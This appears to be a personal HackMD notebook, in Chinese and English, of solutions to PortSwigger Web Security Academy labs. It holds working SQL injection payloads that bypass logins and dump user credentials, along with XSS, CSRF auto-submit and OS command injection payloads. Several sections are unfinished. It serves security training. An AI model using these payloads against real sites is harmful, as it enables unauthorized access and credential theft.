---
title: 'PortSwigger Web Security LAB'
disqus: hackmd
---

PortSwigger Web Security LAB (持續更新中..)
===

# Table of Contents

[TOC]

# SQL injection

## Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

https://0a1e003a0438320b808a627a00be00fb.web-security-academy.net/


### Solution
#### category
1. ALL: https://0a1e003a0438320b808a627a00be00fb.web-security-academy.net/
2. Accessories: /filter?category=Accessories
3. Corporate gifts: /filter?category=Corporate+gifts
4. Gifts: /filter?category=Gifts
5. Pets: /filter?category=Pets

#### product
#### /product?productId=6
:::info
:brain: 思考邏輯:
題目要求 display one or more unreleased products，所以從category下手
:::
### Solved
#### /filter?category=%27+OR+1=1--


## Lab: SQL injection vulnerability allowing login bypass
https://0aad00cc0476e8b8809c5ded00c8008a.web-security-academy.net/


### Solution
:::info
:brain: 思考邏輯:
題目要求 administrator user 登入，所以從My account下手
:::
#### My accoumt
/login

> ' OR 1=1 --
> chw (pwd)


### Solved
#### /my-account?id=administrator

## Lab: SQL injection attack, querying the database type and version on Oracle
(HINT)

https://0aac000904b8c94980841c6d00bd0069.web-security-academy.net/

### Solution
:::info
:brain: 思考邏輯:
題目要求 UNION attack to retrieve the results，所以創建一個虛擬dual table，再使用 UNION SELECT
:::
● https://portswigger.net/web-security/sql-injection/cheat-sheet

● [dual是一個虛擬表格，用來構成select的語法規則，oracle保證dual裡面永遠只有一筆記錄。](https://blog.csdn.net/skyly84/article/details/4887015)
#### /filter?category='+UNION+SELECT+'dev','core'+FROM+dual--
> 成功，能確認select中有兩個column

### Solved
#### /filter?category='+UNION+SELECT+BANNER,+NULL+FROM+v$version--

## Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

https://0abb008204f9aca180d54e430064009d.web-security-academy.net/

### Solution
:::info
:brain: 思考邏輯:
題目要求使用 UNION attack 顯示 database version，所以先確認UNION SELECT 可以運作，再透過 @@version 找出 DB version
:::
#### 1. /filter?category=Gifts%27+UNION+SELECT+%27dev%27,%27core%27--

[MySQL Comment](https://dev.mysql.com/doc/refman/8.0/en/comments.html)
> MySQL Server supports three comment styles:\
● From a # character to the end of the line.\
● From a -- sequence to the end of the line. In MySQL, the -- (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on).

#### 2. /filter?category=Pets%27%20UNION%20SELECT%20%27abc%27,%27def%27--%20

### Solved
#### /filter?category=Pets%27+UNION+SELECT%20@@version,%20NULL--%20

## Lab: SQL injection attack, listing the database contents on non-Oracle databases

https://0a28008b03c30d358415a6c0001f0033.web-security-academy.net/
### Solution
:::info
:brain: 思考邏輯:
題目要求使用 UNION attack 檢索，並使用administrator登入。所以先確認UNION SELECT 可以運作，再透過查詢 information_schema.tables 看 table 內容 ， 最後在table: users_jlkbxy中找到administrator。
:::
#### 1. /filter?category=Gifts'+UNION+SELECT+'dev','core'--

#### 2. /filter?category=Gifts'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

#### 3. /filter?category=Gift'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='pg_user'--

#### 4. /filter?category=%27+UNION+SELECT+usename,+passwd+FROM+pg_user--
> 沒找到，可能是找錯Table

#### 5. /filter?category=Gifts%27+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name=%27users_jlkbxy%27--

#### 6. /filter?category=%27+UNION+SELECT+username_fryeje,+password_tpgbyn+FROM+users_jlkbxy--

### Solved
LOGIN

## Lab: SQL injection attack, listing the database contents on Oracle
https://0a910058049642e28030a39200f90094.web-security-academy.net/

### Solution
:::info
:brain: 思考邏輯:
題目要求使用 UNION attack 檢索，並使用administrator登入。所以先確認UNION SELECT 可以運作，UNION直接查詢失敗，因此透過dual。成功後查詢 all_tables 看 table 內容 ， 在USERS_BQWGCF table中找到 PASSWORD_WJKNLN 、 USERNAME_TLMZIY，最後在以上兩個column中找到administrator。
:::
#### 1. /filter?category=Lifestyle'+UNION+SELECT+'dev','core'+FROM+dual--
#### 2. /filter?category=Lifestyle'+UNION+SELECT+table_name,NULL+FROM+all_tables--
> Find USERS_BQWGCF

#### 3. /filter?category=Lifestyle'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_BQWGCF'--
> Find PASSWORD_WJKNLN & USERNAME_TLMZIY

#### 4. /filter?category=Lifestyle'+UNION+SELECT+USERNAME_TLMZIY,+PASSWORD_WJKNLN+FROM+USERS_BQWGCF

### Solved
LOGIN

## Lab: SQL injection UNION attack, determining the number of columns returned by the query
https://0a6e00ec03296628809ef36d00e800ff.web-security-academy.net/

### Solution
:::info
:brain: 思考邏輯:
題目要求使用 null values 來確認 column數量。所以先確認塞入 NULL 回應500，繼續增加空值，直到Error 消失。
:::
#### /filter?category=Accessories'+UNION+SELECT+NULL--
> 塞入column NULL數量

#### /filter?category=Accessories%27+UNION+SELECT+NULL,NULL--
> 繼續塞入NULL

### Solved
#### /filter?category=Accessories%27+UNION+SELECT+NULL,NULL,NULL--

## Lab: SQL injection UNION attack, finding a column containing text
https://0a70000504d85146816858c800a300d0.web-security-academy.net/

### Solution
:::info
:brain: 思考邏輯:
題目建議使用 UNION attack 來回傳row containing the value provided。所以使用上題技巧，先確認塞入 NULL 回應500，繼續增加空值，直到Error 消失。確認存在三個row後，依序將值塞入三個column，跳出Make the database retrieve the string: '7ztQnM'提示。
:::
#### /filter?category=Gifts%27+UNION+SELECT+NULL--
> Internal Server Error
#### /filter?category=Gifts%27+UNION+SELECT+NULL,NULL--
> Internal Server Error
#### /filter?category=Gifts%27+UNION+SELECT+NULL,NULL,NULL--
> 成功，接著將值塞入NULL 測試

#### /filter?category=Gifts%27+UNION+SELECT+'chw',NULL,NULL--
> Internal Server Error
#### /filter?category=Gifts%27+UNION+SELECT+NULL,'chw',NULL--
> 得知第二個column存在value
### Solved
#### /filter?category=Gifts/filter?category=Gifts%27+UNION+SELECT+NULL,%277ztQnM%27,NULL--

## Lab: SQL injection UNION attack, retrieving data from other tables
https://0a3b0035040e86dd80a79e3400ce00cb.web-security-academy.net/

### Solution
:::info
:brain: 思考邏輯:
題目提示database存在不同users table，column存在username & password，使用administrator登入。因此使用UNION SELECT from users，得到administrator與密碼。
:::
#### /filter?category=Accessories'+UNION+SELECT+'chw','dev'--
#### /filter?category=Accessories'+UNION+SELECT+username,+password+FROM+users--
### Solved
LOGIN

## Lab: SQL injection UNION attack, retrieving multiple values in a single column
https://0aa600d20347897d8079625c00720016.web-security-academy.net/

### Solution
:::info
:brain: 思考邏輯:
題目提示與上提相同，DB存在不同users table，column存在username & password，標題提到 **multiple values in a single column**。收先塞入NULL確認column數量，確認後，Cheatsheet 中提到可以使用 'foo'||'bar' 將multiple strings串成single string，得到administrator與密碼。
:::
#### 測試 /filter?category=Pets'+UNION+SELECT+'chw','dev'--
> Internal Server Error 確實不符
#### /filter?category=Pets'+UNION+SELECT+NULL,'chw'--
● [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)

#### /filter?category=Pets' UNION SELECT NULL,username| |'~'||password FROM users--

可以看到||'~'||，代表輸出資料將username與password之間用 ~ 為間隔
若使用/filter?category=Pets' UNION SELECT NULL,username||'%20'||password FROM users--
將會以空格隔開。

### Solved
LOGIN

## Lab: Blind SQL injection with conditional responses
https://0a40004a048c456381f3fa64004f002d.web-security-academy.net/

### Solution
#### Modify TrackingID (Cookie)
> Welcome back!
> 成功登入

#### ' AND (SELECT 'chw' FROM users LIMIT 1)='chw
> 驗證是否存在users table
> 存在
#### ' AND (SELECT 'chw' FROM users WHERE username='administrator')='chw
> 驗證是否存在administrator
> 存在
#### ' AND (SELECT 'chw' FROM users WHERE username='administrator' AND LENGTH(password)>1)='chw
> 驗證密碼是否大於1,3,5,10, 20(20錯誤)
> 驗證密碼是否大於19，密碼共20個字元

#### ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§

> 得知passwd 第一個個字元是'k'

#### Brute force passwd

> 
得出password: **kn641bixzlp0wv3g6aj3**

### Solved
LOGIN

## Lab: Blind SQL injection with conditional errors
https://0ac90001042da74480137bc500e500b6.web-security-academy.net/

### Solution

# Cross-site scripting
## Lab: Reflected XSS into HTML context with nothing encoded
https://0ad3002b03601a0a80e19ecc0054007f.web-security-academy.net/

### Solution
#### chw
> /?search=chw
### Solved
#### /?search=<script>alert(1)</script>


## Lab: Stored XSS into HTML context with nothing encoded
https://0ac100470488653e80f18a0b002f00aa.web-security-academy.net/

### Solution
#### Leave Comment
> /post?postId=6

> /post/comment/confirmation?postId=6

### Solved

## Lab: DOM XSS in document.write sink using source location.search
https://0a33005d04b65f7b81323478009c00bc.web-security-academy.net/


### Solution
#### chw
#### /?search=<script>alert(1)</script>
> 失敗

> search字串被放進img src
### Solved
#### /?search=%27">%27<script>alert(1)</script>
閉合img src


## Lab: DOM XSS in innerHTML sink using source location.search
https://0af7007703ac9b3780819ea1008f0019.web-security-academy.net/

### Solution
#### Element
#### <img src=1 onerror=alert(1)>

### Solved

## Lab: DOM XSS in jQuery anchor href attribute sink using location.search source
https://0a09002b03b608f18056e953009f00a2.web-security-academy.net/

### Solution
#### /feedback?returnPath=/

#### /feedback?returnPath=chw
> payload被存在href中

### Solved
#### /feedback?returnPath=javascript:<script>alert(1)</script>


## Lab: DOM XSS in jQuery selector sink using a hashchange event
https://0a9f00a804db45d786102d66004c0035.web-security-academy.net/

### Solution
#### Go to exploit server
https://exploit-0a4100ea04b54542868a2cff014700f2.exploit-server.net/

#### Insert iframe in Body

Hello, world!
<iframe src="https://0a9f00a804db45d786102d66004c0035.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>


(View exploit)
> 成功呼叫print()

### Solved
#### Click Deliver exploit yo victim


## Lab: Reflected XSS into attribute with angle brackets HTML-encoded
https://0a6800d903ef83ae812002cf00ed0095.web-security-academy.net/

### Solution & Solved
#### "onmouseover="alert(1)

## Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded
https://0a3b00190379b5d982f16fa900e900e5.web-security-academy.net/

### Solution
#### /post?postId=8 POST Comment
(POST 1次)
(POST 2次)
> /post/comment/confirmation?postId=8

#### **在第二次POST 塞進href中**

# Cross-site request forgery (CSRF)
## Lab: CSRF vulnerability with no defenses
https://0ae8009903b0aae4803a3087004600a4.web-security-academy.net/

### Solution
#### Go to exploit server
https://exploit-0a68009503c6aa94800d2f9e017600f7.exploit-server.net/
#### Edit body

<form method="POST" action="https://0ae8009903b0aae4803a3087004600a4.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything%40web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>

#### POST

# OS command injection
## Lab: OS command injection, simple case

### Solution
**(Click "Check stock")**
> productId=3&storeId=1| whoami

### Solved


# JWT attacks

## Lab: JWT authentication bypass via unverified signature

### Solution

### Solved